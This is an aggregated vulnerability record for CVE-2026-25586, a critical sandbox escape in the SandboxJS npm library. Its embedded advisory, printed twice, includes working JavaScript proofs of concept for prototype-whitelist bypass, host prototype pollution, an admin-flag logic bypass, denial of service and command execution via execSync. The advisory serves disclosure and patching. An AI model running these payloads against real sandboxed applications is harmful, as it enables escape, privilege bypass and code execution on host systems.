{"id":"CVE-2026-25586","aliases":["EUVD-2026-5592","GHSA-jjpw-65fv-8g48"],"status":"published","title":"SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00692,"percentile":0.53196,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-74"],"published":"2026-02-05T21:04:58Z","modified":"2026-11-11T02:48:56Z","fixes":[{"ecosystem":"npm","package":"@nyariv/sandboxjs","fixed_in":["0.8.29"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.8.28"},{"fixed":"0.8.29"}]}]},{"source":"osv","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.29"}]}]}],"products":[{"vendor":"nyariv","product":"sandboxjs"}],"references":[{"url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25586","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-jjpw-65fv-8g48"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25586.json","tags":["advisory"]},{"url":"https://github.com/nyariv/SandboxJS","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25586","title":"SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T19:54:38.446Z","modified":"2026-02-06T20:17:19.095Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T13:41:30.911526Z"}],"euvd":[{"id":"EUVD-2026-5592","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T19:54:38Z","modified":"2026-02-06T20:17:19Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:48:42.836553Z"}],"ghsa":[{"id":"GHSA-jjpw-65fv-8g48","title":"@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution","description":"## Summary\nA sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling **host `Object.prototype` pollution** and persistent cross-sandbox impact.\n\nThe issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists.\n\n## Root Cause\n`prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker‑controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped.\n\n- [src/executor.ts:348](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L348)  `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');`\n\n\u003cimg width=\"1030\" height=\"593\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f\" /\u003e\n\n- [src/executor.ts:367-399](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L367) prototype whitelist enforcement only happens when `prototypeAccess` is true.\n\n\u003cimg width=\"929\" height=\"345\" alt=\"image\" src=\"https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471\" /\u003e\n\n- [src/executor.ts:220-233](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L220) mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing.\n\n\u003cimg width=\"769\" height=\"332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897\" /\u003e\n\n\n## Proofs of Concept\n `node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration`\n `node node_modules/rollup/dist/bin/rollup -c`\n Runtime target: `dist/node/Sandbox.js`\n \n ### Baseline: `__proto__` blocked without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\ntry {\n  const res = sandbox.compile(`return ({}).__proto__`)().run();\n  console.log('res', res);\n} catch (e) {\n  console.log('error', e \u0026\u0026 e.message);\n}\n```\n\u003cimg width=\"734\" height=\"65\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9\" /\u003e\n\n### Prototype whitelist bypass -\u003e host `Object.prototype` pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\nconst code = `\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.polluted = 'pwned';\n  return 'done';\n`;\n\nsandbox.compile(code)().run();\n\nconsole.log('polluted' in ({}), ({}).polluted);\n```\n\u003cimg width=\"549\" height=\"95\" alt=\"image\" src=\"https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30\" /\u003e\n\n\n### Logic bypass via prototype pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.isAdmin = true;\n  return 'ok';\n`)().run();\n\nconsole.log('isAdmin', ({}).isAdmin === true);\n```\n\u003cimg width=\"527\" height=\"83\" alt=\"image\" src=\"https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57\" /\u003e\n\n### DoS by overriding `Object.prototype.toString`\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.toString = function () { throw new Error('aaaaaaa'); };\n  return 'ok';\n`)().run();\n\ntry {\n  String({});\n} catch (e) {\n  console.log('error', e.message);\n}\n```\n\u003cimg width=\"500\" height=\"147\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41\" /\u003e\n\n### RCE via host gadget (prototype pollution -\u003e `execSync`)\n\n\u003cimg width=\"737\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40\" /\u003e\n\n\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst { execSync } = require('child_process');\n\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.cmd = 'id;\n  return 'ok';\n`)().run();\n\nconst obj = {}; // typical innocent object\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n\n## Additional Finding : Prototype mutation via intermediate reference\nThis does **not** require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks.\n### Mutate `Array.prototype.filter` without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();\n\nconsole.log('host filter', [1,2].filter);\n```\n**Output:**\n```\nhost filter 1\n```","status":"published","published":"2026-02-05T21:04:58Z","modified":"2026-02-06T21:42:50Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:39:23.728882Z"}],"nvd":[{"id":"CVE-2026-25586","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T20:16:10.77Z","modified":"2026-06-17T10:24:54.337Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:12:05.52517Z"}],"osv":[{"id":"CVE-2026-25586","title":"SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T19:54:38.446Z","modified":"2026-11-11T02:48:56.196323556Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-74"],"updated_at":"2026-11-11T03:21:32.226287Z"},{"id":"GHSA-jjpw-65fv-8g48","title":"@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution","description":"## Summary\nA sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling **host `Object.prototype` pollution** and persistent cross-sandbox impact.\n\nThe issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists.\n\n## Root Cause\n`prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker‑controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped.\n\n- [src/executor.ts:348](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L348)  `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');`\n\n\u003cimg width=\"1030\" height=\"593\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f\" /\u003e\n\n- [src/executor.ts:367-399](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L367) prototype whitelist enforcement only happens when `prototypeAccess` is true.\n\n\u003cimg width=\"929\" height=\"345\" alt=\"image\" src=\"https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471\" /\u003e\n\n- [src/executor.ts:220-233](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L220) mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing.\n\n\u003cimg width=\"769\" height=\"332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897\" /\u003e\n\n\n## Proofs of Concept\n `node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration`\n `node node_modules/rollup/dist/bin/rollup -c`\n Runtime target: `dist/node/Sandbox.js`\n \n ### Baseline: `__proto__` blocked without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\ntry {\n  const res = sandbox.compile(`return ({}).__proto__`)().run();\n  console.log('res', res);\n} catch (e) {\n  console.log('error', e \u0026\u0026 e.message);\n}\n```\n\u003cimg width=\"734\" height=\"65\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9\" /\u003e\n\n### Prototype whitelist bypass -\u003e host `Object.prototype` pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\nconst code = `\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.polluted = 'pwned';\n  return 'done';\n`;\n\nsandbox.compile(code)().run();\n\nconsole.log('polluted' in ({}), ({}).polluted);\n```\n\u003cimg width=\"549\" height=\"95\" alt=\"image\" src=\"https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30\" /\u003e\n\n\n### Logic bypass via prototype pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.isAdmin = true;\n  return 'ok';\n`)().run();\n\nconsole.log('isAdmin', ({}).isAdmin === true);\n```\n\u003cimg width=\"527\" height=\"83\" alt=\"image\" src=\"https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57\" /\u003e\n\n### DoS by overriding `Object.prototype.toString`\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.toString = function () { throw new Error('aaaaaaa'); };\n  return 'ok';\n`)().run();\n\ntry {\n  String({});\n} catch (e) {\n  console.log('error', e.message);\n}\n```\n\u003cimg width=\"500\" height=\"147\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41\" /\u003e\n\n### RCE via host gadget (prototype pollution -\u003e `execSync`)\n\n\u003cimg width=\"737\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40\" /\u003e\n\n\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst { execSync } = require('child_process');\n\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () =\u003e true };\n  const proto = o.__proto__;\n  proto.cmd = 'id;\n  return 'ok';\n`)().run();\n\nconst obj = {}; // typical innocent object\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n\n## Additional Finding : Prototype mutation via intermediate reference\nThis does **not** require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks.\n### Mutate `Array.prototype.filter` without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();\n\nconsole.log('host filter', [1,2].filter);\n```\n**Output:**\n```\nhost filter 1\n```","status":"published","published":"2026-02-05T21:04:58Z","modified":"2026-02-06T22:20:14.667Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T15:46:50.687609Z"}]}}
